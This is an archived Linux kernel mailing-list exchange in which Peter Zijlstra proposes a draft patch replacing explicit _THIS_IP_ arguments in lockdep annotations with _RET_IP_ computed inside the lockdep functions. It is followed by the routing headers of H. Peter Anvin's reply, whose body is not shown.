Xref: news.gmane.org gmane.linux.kernel.arc:4239 gmane.linux.ports.mips.general:66197 gmane.linux.ports.sh.devel:57412 gmane.linux.kernel:2853898 gmane.linux.ports.m68k:10226 gmane.linux.ports.ia64:29131 gmane.linux.ports.hexagon:1825 gmane.linux.ports.arm.kernel:670320 gmane.linux.ports.parisc:28917 gmane.linux.ports.alpha:5213 gmane.linux.ports.sparc:28242 gmane.linux.ports.riscv:547 gmane.linux.ports.ppc64.devel:161687
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4239>

On Mon, Aug 27, 2018 at 05:26:53AM -0700, H. Peter Anvin wrote:

> _THIS_IP_, however, is completely ill-defined, other than being an
> address *somewhere* in the same global function (not even necessarily
> the same function if the function is static!)  As my experiment show, in
> many (nearly) cases gcc will hoist the address all the way to the top of
> the function, at least for the current generic implementation.

It seems to have mostly worked so far... did anything change?

> For the case where _THIS_IP_ is passed to an out-of-line function in all
> cases, it is extra pointless because all it does is increase the
> footprint of every caller: _RET_IP_ is inherently passed to the function
> anyway, and with tailcall protection it will uniquely identify a callsite.

So I think we can convert many of the lockdep _THIS_IP_ calls to
_RET_IP_ on the other side, with a wee bit of care.

A little something like so perhaps...

---

 drivers/md/bcache/btree.c    |  2 +-
 fs/jbd2/transaction.c        |  6 +++---
 fs/super.c                   |  4 ++--
 include/linux/fs.h           |  4 ++--
 include/linux/jbd2.h         |  4 ++--
 include/linux/lockdep.h      | 21 ++++++++++-----------
 include/linux/percpu-rwsem.h | 22 ++++++++++------------
 include/linux/rcupdate.h     |  8 ++++----
 include/linux/ww_mutex.h     |  2 +-
 kernel/locking/lockdep.c     | 14 ++++++++------
 kernel/printk/printk.c       | 14 +++++++-------
 kernel/sched/core.c          |  4 ++--
 lib/locking-selftest.c       | 32 ++++++++++++++++----------------
 13 files changed, 68 insertions(+), 69 deletions(-)

diff --git a/drivers/md/bcache/btree.c b/drivers/md/bcache/btree.c
index c19f7716df88..21ede9b317de 100644
--- a/drivers/md/bcache/btree.c
+++ b/drivers/md/bcache/btree.c
@@ -940,7 +940,7 @@ static struct btree *mca_alloc(struct cache_set *c, struct btree_op *op,
 	hlist_del_init_rcu(&b->hash);
 	hlist_add_head_rcu(&b->hash, mca_hash(c, k));
 
-	lock_set_subclass(&b->lock.dep_map, level + 1, _THIS_IP_);
+	lock_set_subclass(&b->lock.dep_map, level + 1);
 	b->parent	= (void *) ~0UL;
 	b->flags	= 0;
 	b->written	= 0;
diff --git a/fs/jbd2/transaction.c b/fs/jbd2/transaction.c
index c0b66a7a795b..40aa71321f8a 100644
--- a/fs/jbd2/transaction.c
+++ b/fs/jbd2/transaction.c
@@ -382,7 +382,7 @@ static int start_this_handle(journal_t *journal, handle_t *handle,
 	read_unlock(&journal->j_state_lock);
 	current->journal_info = handle;
 
-	rwsem_acquire_read(&journal->j_trans_commit_map, 0, 0, _THIS_IP_);
+	rwsem_acquire_read(&journal->j_trans_commit_map, 0, 0);
 	jbd2_journal_free_transaction(new_transaction);
 	/*
 	 * Ensure that no allocations done while the transaction is open are
@@ -677,7 +677,7 @@ int jbd2__journal_restart(handle_t *handle, int nblocks, gfp_t gfp_mask)
 	if (need_to_start)
 		jbd2_log_start_commit(journal, tid);
 
-	rwsem_release(&journal->j_trans_commit_map, 1, _THIS_IP_);
+	rwsem_release(&journal->j_trans_commit_map, 1);
 	handle->h_buffer_credits = nblocks;
 	/*
 	 * Restore the original nofs context because the journal restart
@@ -1771,7 +1771,7 @@ int jbd2_journal_stop(handle_t *handle)
 			wake_up(&journal->j_wait_transaction_locked);
 	}
 
-	rwsem_release(&journal->j_trans_commit_map, 1, _THIS_IP_);
+	rwsem_release(&journal->j_trans_commit_map, 1);
 
 	if (wait_for_commit)
 		err = jbd2_log_wait_commit(journal, tid);
diff --git a/fs/super.c b/fs/super.c
index 50728d9c1a05..ec650a558f09 100644
--- a/fs/super.c
+++ b/fs/super.c
@@ -1431,7 +1431,7 @@ static void lockdep_sb_freeze_release(struct super_block *sb)
 	int level;
 
 	for (level = SB_FREEZE_LEVELS - 1; level >= 0; level--)
-		percpu_rwsem_release(sb->s_writers.rw_sem + level, 0, _THIS_IP_);
+		percpu_rwsem_release(sb->s_writers.rw_sem + level, 0);
 }
 
 /*
@@ -1442,7 +1442,7 @@ static void lockdep_sb_freeze_acquire(struct super_block *sb)
 	int level;
 
 	for (level = 0; level < SB_FREEZE_LEVELS; ++level)
-		percpu_rwsem_acquire(sb->s_writers.rw_sem + level, 0, _THIS_IP_);
+		percpu_rwsem_acquire(sb->s_writers.rw_sem + level, 0);
 }
 
 static void sb_freeze_unlock(struct super_block *sb)
diff --git a/include/linux/fs.h b/include/linux/fs.h
index 1ec33fd0423f..2ba14e5362e4 100644
--- a/include/linux/fs.h
+++ b/include/linux/fs.h
@@ -1505,9 +1505,9 @@ void __sb_end_write(struct super_block *sb, int level);
 int __sb_start_write(struct super_block *sb, int level, bool wait);
 
 #define __sb_writers_acquired(sb, lev)	\
-	percpu_rwsem_acquire(&(sb)->s_writers.rw_sem[(lev)-1], 1, _THIS_IP_)
+	percpu_rwsem_acquire(&(sb)->s_writers.rw_sem[(lev)-1], 1)
 #define __sb_writers_release(sb, lev)	\
-	percpu_rwsem_release(&(sb)->s_writers.rw_sem[(lev)-1], 1, _THIS_IP_)
+	percpu_rwsem_release(&(sb)->s_writers.rw_sem[(lev)-1], 1)
 
 /**
  * sb_end_write - drop write access to a superblock
diff --git a/include/linux/jbd2.h b/include/linux/jbd2.h
index b708e5169d1d..7c31176ec8ae 100644
--- a/include/linux/jbd2.h
+++ b/include/linux/jbd2.h
@@ -1155,8 +1155,8 @@ struct journal_s
 
 #define jbd2_might_wait_for_commit(j) \
 	do { \
-		rwsem_acquire(&j->j_trans_commit_map, 0, 0, _THIS_IP_); \
-		rwsem_release(&j->j_trans_commit_map, 1, _THIS_IP_); \
+		rwsem_acquire(&j->j_trans_commit_map, 0, 0); \
+		rwsem_release(&j->j_trans_commit_map, 1); \
 	} while (0)
 
 /* journal feature predicate functions */
diff --git a/include/linux/lockdep.h b/include/linux/lockdep.h
index 6fc77d4dbdcd..ed3daf41ae7b 100644
--- a/include/linux/lockdep.h
+++ b/include/linux/lockdep.h
@@ -348,16 +348,15 @@ static inline int lock_is_held(const struct lockdep_map *lock)
 #define lockdep_is_held_type(lock, r)	lock_is_held_type(&(lock)->dep_map, (r))
 
 extern void lock_set_class(struct lockdep_map *lock, const char *name,
-			   struct lock_class_key *key, unsigned int subclass,
-			   unsigned long ip);
+			   struct lock_class_key *key, unsigned int subclass);
 
-static inline void lock_set_subclass(struct lockdep_map *lock,
-		unsigned int subclass, unsigned long ip)
+static __always_inline void
+lock_set_subclass(struct lockdep_map *lock, unsigned int subclass)
 {
-	lock_set_class(lock, lock->name, lock->key, subclass, ip);
+	lock_set_class(lock, lock->name, lock->key, subclass);
 }
 
-extern void lock_downgrade(struct lockdep_map *lock, unsigned long ip);
+extern void lock_downgrade(struct lockdep_map *lock);
 
 struct pin_cookie { unsigned int val; };
 
@@ -401,11 +400,11 @@ static inline void lockdep_on(void)
 {
 }
 
-# define lock_acquire(l, s, t, r, c, n, i)	do { } while (0)
-# define lock_release(l, n, i)			do { } while (0)
-# define lock_downgrade(l, i)			do { } while (0)
-# define lock_set_class(l, n, k, s, i)		do { } while (0)
-# define lock_set_subclass(l, s, i)		do { } while (0)
+# define lock_acquire(l, s, t, r, c, n)		do { } while (0)
+# define lock_release(l, n)			do { } while (0)
+# define lock_downgrade(l)			do { } while (0)
+# define lock_set_class(l, n, k, s)		do { } while (0)
+# define lock_set_subclass(l, s)		do { } while (0)
 # define lockdep_info()				do { } while (0)
 # define lockdep_init_map(lock, name, key, sub) \
 		do { (void)(name); (void)(key); } while (0)
diff --git a/include/linux/percpu-rwsem.h b/include/linux/percpu-rwsem.h
index 79b99d653e03..4ebf14e99034 100644
--- a/include/linux/percpu-rwsem.h
+++ b/include/linux/percpu-rwsem.h
@@ -29,11 +29,11 @@ static struct percpu_rw_semaphore name = {				\
 extern int __percpu_down_read(struct percpu_rw_semaphore *, int);
 extern void __percpu_up_read(struct percpu_rw_semaphore *);
 
-static inline void percpu_down_read_preempt_disable(struct percpu_rw_semaphore *sem)
+static __always_inline void percpu_down_read_preempt_disable(struct percpu_rw_semaphore *sem)
 {
 	might_sleep();
 
-	rwsem_acquire_read(&sem->rw_sem.dep_map, 0, 0, _RET_IP_);
+	rwsem_acquire_read(&sem->rw_sem.dep_map, 0, 0);
 
 	preempt_disable();
 	/*
@@ -60,7 +60,7 @@ static inline void percpu_down_read(struct percpu_rw_semaphore *sem)
 	preempt_enable();
 }
 
-static inline int percpu_down_read_trylock(struct percpu_rw_semaphore *sem)
+static __always_inline int percpu_down_read_trylock(struct percpu_rw_semaphore *sem)
 {
 	int ret = 1;
 
@@ -78,12 +78,12 @@ static inline int percpu_down_read_trylock(struct percpu_rw_semaphore *sem)
 	 */
 
 	if (ret)
-		rwsem_acquire_read(&sem->rw_sem.dep_map, 0, 1, _RET_IP_);
+		rwsem_acquire_read(&sem->rw_sem.dep_map, 0, 1);
 
 	return ret;
 }
 
-static inline void percpu_up_read_preempt_enable(struct percpu_rw_semaphore *sem)
+static __always_inline void percpu_up_read_preempt_enable(struct percpu_rw_semaphore *sem)
 {
 	/*
 	 * The barrier() prevents the compiler from
@@ -99,7 +99,7 @@ static inline void percpu_up_read_preempt_enable(struct percpu_rw_semaphore *sem
 		__percpu_up_read(sem); /* Unconditional memory barrier */
 	preempt_enable();
 
-	rwsem_release(&sem->rw_sem.dep_map, 1, _RET_IP_);
+	rwsem_release(&sem->rw_sem.dep_map, 1);
 }
 
 static inline void percpu_up_read(struct percpu_rw_semaphore *sem)
@@ -127,20 +127,18 @@ extern void percpu_free_rwsem(struct percpu_rw_semaphore *);
 #define percpu_rwsem_assert_held(sem)				\
 	lockdep_assert_held(&(sem)->rw_sem)
 
-static inline void percpu_rwsem_release(struct percpu_rw_semaphore *sem,
-					bool read, unsigned long ip)
+static __always_inline void percpu_rwsem_release(struct percpu_rw_semaphore *sem, bool read)
 {
-	lock_release(&sem->rw_sem.dep_map, 1, ip);
+	lock_release(&sem->rw_sem.dep_map, 1);
 #ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 	if (!read)
 		sem->rw_sem.owner = RWSEM_OWNER_UNKNOWN;
 #endif
 }
 
-static inline void percpu_rwsem_acquire(struct percpu_rw_semaphore *sem,
-					bool read, unsigned long ip)
+static __always_inline void percpu_rwsem_acquire(struct percpu_rw_semaphore *sem, bool read)
 {
-	lock_acquire(&sem->rw_sem.dep_map, 0, 1, read, 1, NULL, ip);
+	lock_acquire(&sem->rw_sem.dep_map, 0, 1, read, 1, NULL);
 #ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 	if (!read)
 		sem->rw_sem.owner = current;
diff --git a/include/linux/rcupdate.h b/include/linux/rcupdate.h
index 75e5b393cf44..6c1a35555e9d 100644
--- a/include/linux/rcupdate.h
+++ b/include/linux/rcupdate.h
@@ -239,14 +239,14 @@ static inline bool rcu_lockdep_current_cpu_online(void) { return true; }
 
 #ifdef CONFIG_DEBUG_LOCK_ALLOC
 
-static inline void rcu_lock_acquire(struct lockdep_map *map)
+static __always_inline void rcu_lock_acquire(struct lockdep_map *map)
 {
-	lock_acquire(map, 0, 0, 2, 0, NULL, _THIS_IP_);
+	lock_acquire(map, 0, 0, 2, 0, NULL);
 }
 
-static inline void rcu_lock_release(struct lockdep_map *map)
+static __always_inline void rcu_lock_release(struct lockdep_map *map)
 {
-	lock_release(map, 1, _THIS_IP_);
+	lock_release(map, 1);
 }
 
 extern struct lockdep_map rcu_lock_map;
diff --git a/include/linux/ww_mutex.h b/include/linux/ww_mutex.h
index 3af7c0e03be5..524aa28eef33 100644
--- a/include/linux/ww_mutex.h
+++ b/include/linux/ww_mutex.h
@@ -182,7 +182,7 @@ static inline void ww_acquire_done(struct ww_acquire_ctx *ctx)
 static inline void ww_acquire_fini(struct ww_acquire_ctx *ctx)
 {
 #ifdef CONFIG_DEBUG_MUTEXES
-	mutex_release(&ctx->dep_map, 0, _THIS_IP_);
+	mutex_release(&ctx->dep_map, 0);
 
 	DEBUG_LOCKS_WARN_ON(ctx->acquired);
 	if (!IS_ENABLED(CONFIG_PROVE_LOCKING))
diff --git a/kernel/locking/lockdep.c b/kernel/locking/lockdep.c
index 5fa4d3138bf1..0b7c4f94a7a3 100644
--- a/kernel/locking/lockdep.c
+++ b/kernel/locking/lockdep.c
@@ -3868,9 +3868,9 @@ static void check_flags(unsigned long flags)
 }
 
 void lock_set_class(struct lockdep_map *lock, const char *name,
-		    struct lock_class_key *key, unsigned int subclass,
-		    unsigned long ip)
+		    struct lock_class_key *key, unsigned int subclass)
 {
+	unsigned long ip = _RET_IP_;
 	unsigned long flags;
 
 	if (unlikely(current->lockdep_recursion))
@@ -3886,8 +3886,9 @@ void lock_set_class(struct lockdep_map *lock, const char *name,
 }
 EXPORT_SYMBOL_GPL(lock_set_class);
 
-void lock_downgrade(struct lockdep_map *lock, unsigned long ip)
+void lock_downgrade(struct lockdep_map *lock)
 {
+	unsigned long ip = _RET_IP_;
 	unsigned long flags;
 
 	if (unlikely(current->lockdep_recursion))
@@ -3909,8 +3910,9 @@ EXPORT_SYMBOL_GPL(lock_downgrade);
  */
 void lock_acquire(struct lockdep_map *lock, unsigned int subclass,
 			  int trylock, int read, int check,
-			  struct lockdep_map *nest_lock, unsigned long ip)
+			  struct lockdep_map *nest_lock)
 {
+	unsigned long ip = _RET_IP_;
 	unsigned long flags;
 
 	if (unlikely(current->lockdep_recursion))
@@ -3928,9 +3930,9 @@ void lock_acquire(struct lockdep_map *lock, unsigned int subclass,
 }
 EXPORT_SYMBOL_GPL(lock_acquire);
 
-void lock_release(struct lockdep_map *lock, int nested,
-			  unsigned long ip)
+void lock_release(struct lockdep_map *lock, int nested)
 {
+	unsigned long ip = _RET_IP_;
 	unsigned long flags;
 
 	if (unlikely(current->lockdep_recursion))
diff --git a/kernel/printk/printk.c b/kernel/printk/printk.c
index 90b6ab01db59..9c8654be08bb 100644
--- a/kernel/printk/printk.c
+++ b/kernel/printk/printk.c
@@ -1583,7 +1583,7 @@ static void console_lock_spinning_enable(void)
 	raw_spin_unlock(&console_owner_lock);
 
 	/* The waiter may spin on us after setting console_owner */
-	spin_acquire(&console_owner_dep_map, 0, 0, _THIS_IP_);
+	spin_acquire(&console_owner_dep_map, 0, 0);
 }
 
 /**
@@ -1611,20 +1611,20 @@ static int console_lock_spinning_disable_and_check(void)
 	raw_spin_unlock(&console_owner_lock);
 
 	if (!waiter) {
-		spin_release(&console_owner_dep_map, 1, _THIS_IP_);
+		spin_release(&console_owner_dep_map, 1);
 		return 0;
 	}
 
 	/* The waiter is now free to continue */
 	WRITE_ONCE(console_waiter, false);
 
-	spin_release(&console_owner_dep_map, 1, _THIS_IP_);
+	spin_release(&console_owner_dep_map, 1);
 
 	/*
 	 * Hand off console_lock to waiter. The waiter will perform
 	 * the up(). After this, the waiter is the console_lock owner.
 	 */
-	mutex_release(&console_lock_dep_map, 1, _THIS_IP_);
+	mutex_release(&console_lock_dep_map, 1);
 	return 1;
 }
 
@@ -1674,11 +1674,11 @@ static int console_trylock_spinning(void)
 	}
 
 	/* We spin waiting for the owner to release us */
-	spin_acquire(&console_owner_dep_map, 0, 0, _THIS_IP_);
+	spin_acquire(&console_owner_dep_map, 0, 0);
 	/* Owner will clear console_waiter on hand off */
 	while (READ_ONCE(console_waiter))
 		cpu_relax();
-	spin_release(&console_owner_dep_map, 1, _THIS_IP_);
+	spin_release(&console_owner_dep_map, 1);
 
 	printk_safe_exit_irqrestore(flags);
 	/*
@@ -1687,7 +1687,7 @@ static int console_trylock_spinning(void)
 	 * this as a trylock. Otherwise lockdep will
 	 * complain.
 	 */
-	mutex_acquire(&console_lock_dep_map, 0, 1, _THIS_IP_);
+	mutex_acquire(&console_lock_dep_map, 0, 1);
 
 	return 1;
 }
diff --git a/kernel/sched/core.c b/kernel/sched/core.c
index 454adf9f8180..a3d146cc2cb9 100644
--- a/kernel/sched/core.c
+++ b/kernel/sched/core.c
@@ -2557,7 +2557,7 @@ prepare_lock_switch(struct rq *rq, struct task_struct *next, struct rq_flags *rf
 	 * do an early lockdep release here:
 	 */
 	rq_unpin_lock(rq, rf);
-	spin_release(&rq->lock.dep_map, 1, _THIS_IP_);
+	spin_release(&rq->lock.dep_map, 1);
 #ifdef CONFIG_DEBUG_SPINLOCK
 	/* this is a valid case when another task releases the spinlock */
 	rq->lock.owner = next;
@@ -2571,7 +2571,7 @@ static inline void finish_lock_switch(struct rq *rq)
 	 * fix up the runqueue lock - which gets 'carried over' from
 	 * prev into current:
 	 */
-	spin_acquire(&rq->lock.dep_map, 0, 0, _THIS_IP_);
+	spin_acquire(&rq->lock.dep_map, 0, 0);
 	raw_spin_unlock_irq(&rq->lock);
 }
 
diff --git a/lib/locking-selftest.c b/lib/locking-selftest.c
index 1e1bbf171eca..d9599c7d0426 100644
--- a/lib/locking-selftest.c
+++ b/lib/locking-selftest.c
@@ -1475,7 +1475,7 @@ static void ww_test_edeadlk_normal(void)
 
 	mutex_lock(&o2.base);
 	o2.ctx = &t2;
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 
 	WWAI(&t);
 	t2 = t;
@@ -1488,7 +1488,7 @@ static void ww_test_edeadlk_normal(void)
 	WARN_ON(ret != -EDEADLK);
 
 	o2.ctx = NULL;
-	mutex_acquire(&o2.base.dep_map, 0, 1, _THIS_IP_);
+	mutex_acquire(&o2.base.dep_map, 0, 1);
 	mutex_unlock(&o2.base);
 	WWU(&o);
 
@@ -1500,7 +1500,7 @@ static void ww_test_edeadlk_normal_slow(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	WWAI(&t);
@@ -1514,7 +1514,7 @@ static void ww_test_edeadlk_normal_slow(void)
 	WARN_ON(ret != -EDEADLK);
 
 	o2.ctx = NULL;
-	mutex_acquire(&o2.base.dep_map, 0, 1, _THIS_IP_);
+	mutex_acquire(&o2.base.dep_map, 0, 1);
 	mutex_unlock(&o2.base);
 	WWU(&o);
 
@@ -1527,7 +1527,7 @@ static void ww_test_edeadlk_no_unlock(void)
 
 	mutex_lock(&o2.base);
 	o2.ctx = &t2;
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 
 	WWAI(&t);
 	t2 = t;
@@ -1540,7 +1540,7 @@ static void ww_test_edeadlk_no_unlock(void)
 	WARN_ON(ret != -EDEADLK);
 
 	o2.ctx = NULL;
-	mutex_acquire(&o2.base.dep_map, 0, 1, _THIS_IP_);
+	mutex_acquire(&o2.base.dep_map, 0, 1);
 	mutex_unlock(&o2.base);
 
 	WWL(&o2, &t);
@@ -1551,7 +1551,7 @@ static void ww_test_edeadlk_no_unlock_slow(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	WWAI(&t);
@@ -1565,7 +1565,7 @@ static void ww_test_edeadlk_no_unlock_slow(void)
 	WARN_ON(ret != -EDEADLK);
 
 	o2.ctx = NULL;
-	mutex_acquire(&o2.base.dep_map, 0, 1, _THIS_IP_);
+	mutex_acquire(&o2.base.dep_map, 0, 1);
 	mutex_unlock(&o2.base);
 
 	ww_mutex_lock_slow(&o2, &t);
@@ -1576,7 +1576,7 @@ static void ww_test_edeadlk_acquire_more(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	WWAI(&t);
@@ -1597,7 +1597,7 @@ static void ww_test_edeadlk_acquire_more_slow(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	WWAI(&t);
@@ -1618,11 +1618,11 @@ static void ww_test_edeadlk_acquire_more_edeadlk(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	mutex_lock(&o3.base);
-	mutex_release(&o3.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o3.base.dep_map, 1);
 	o3.ctx = &t2;
 
 	WWAI(&t);
@@ -1644,11 +1644,11 @@ static void ww_test_edeadlk_acquire_more_edeadlk_slow(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	mutex_lock(&o3.base);
-	mutex_release(&o3.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o3.base.dep_map, 1);
 	o3.ctx = &t2;
 
 	WWAI(&t);
@@ -1669,7 +1669,7 @@ static void ww_test_edeadlk_acquire_wrong(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	WWAI(&t);
@@ -1694,7 +1694,7 @@ static void ww_test_edeadlk_acquire_wrong_slow(void)
 	int ret;
 
 	mutex_lock(&o2.base);
-	mutex_release(&o2.base.dep_map, 1, _THIS_IP_);
+	mutex_release(&o2.base.dep_map, 1);
 	o2.ctx = &t2;
 
 	WWAI(&t);

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Mon, 27 Aug 2018 06:33:27 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <4d1a8f35-e2fc-70d2-ca0e-44b8574c86f1@zytor.com>
References: <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
 <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
 <CAKwvOd=wAaPBkFHAcWxgMW91a--9gbvu7xrt3j-q8c+-mT=7Lw@mail.gmail.com>
 <20180827073358.GV24124@hirez.programming.kicks-ass.net>
 <f9896d68-4a49-e666-cea5-a9c0522f1658@zytor.com>
 <20180827131103.GD24124@hirez.programming.kicks-ass.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535376943 5017 195.159.176.226 (27 Aug 2018 13:35:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Aug 2018 13:35:43 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: nicolas.pitre@linaro.org, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 Will Deacon <will.deacon@arm.com>, paulus@samba.org, mpe@ellerman.id.au,
 jejb@parisc-linux.org, Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 mattst88@gmail.com, uclinux-h8-devel@lists.sourceforge.jp,
 Marc Zyngier <marc.zyngier@arm.com>, linuxram@us.ibm.com,
 linux-um@lists.infradead.org, Nicholas Piggin <npiggin@gmail.com>,
 luto@kernel.org, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>, alex.bennee@linaro.org, rth@twiddle.net,
 jkosina@suse.cz, Nick Desaulniers <ndesaulniers@google.com>,
 LKML <linux-kernel@vger.kernel.org>, ralf@linux-mips.org, rkuo@codeaurora.org,
 paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
 Greg KH <gregkh@linuxfoundation.org>,
 Andrew Morton <akpm@linux-found
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Aug 27 15:35:29 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fuHg0-00012J-Kh
	for gla-linux-snps-arc@m.gmane.org; Mon, 27 Aug 2018 15:35:28 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=knRlbtQYy1ffZvN54ygF2wbjswCscYyNJ9Ulo8ehbrg=; b=SoWIO8AuGuPOcr
	SfeatGbzu6MFNdJVQ+zcLbq5jfbvkZwFCRIfmPoyhvUMdz1h1qMb1ZiAdRyTmkmIi0FdbB0OYWBBA
	UjYRqMTq/GyN8Sb+F5dOpA0lx2GBbUaMdaR0ZgZ2jkoq+IjqOS2GhhYfXISwjuATbxoIPF6Y/WKCE
	dw9JC9UY2UvVtVF6AzjLQ+onStmuf1P9SDVs+qTjnTD2rj7Aq4hL/9W6/w2l2JFPGz4wtiqhZ/jg7
	Rp2/iq/PliFqaCJf0X3zxcns2QMoTTY8vB1ZK2rAiEdFrJvUwoE2e/i2O8FtIIGOA1Cw1Urh9JV2f
	fBDOHeZxhM47J8+H0jSQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fuHi5-0000H6-Sw; Mon, 27 Aug 2018 13:37:37 +0000
Original-Received: from terminus.zytor.com ([198.137.202.136] helo=mail.zytor.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fuHhz-0000Dx-4X; Mon, 27 Aug 2018 13:37:35 +0000
Original-Received: from carbon-x1.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net
 [24.5.245.234] (may be forged)) (authenticated bits=0)
 by mail.zytor.com (8.15.2/8.15.2) with ESMTPSA id w7RDXW5M589958
 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
 Mon, 27 Aug 2018 06:33:32 -0700
In-Reply-To: <20180827131103.GD24124@hirez.programming.kicks-ass.net>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180827_063731_224636_4A66ED5B 
X-CRM114-Status: GOOD (  16.97  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.137.202.136 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
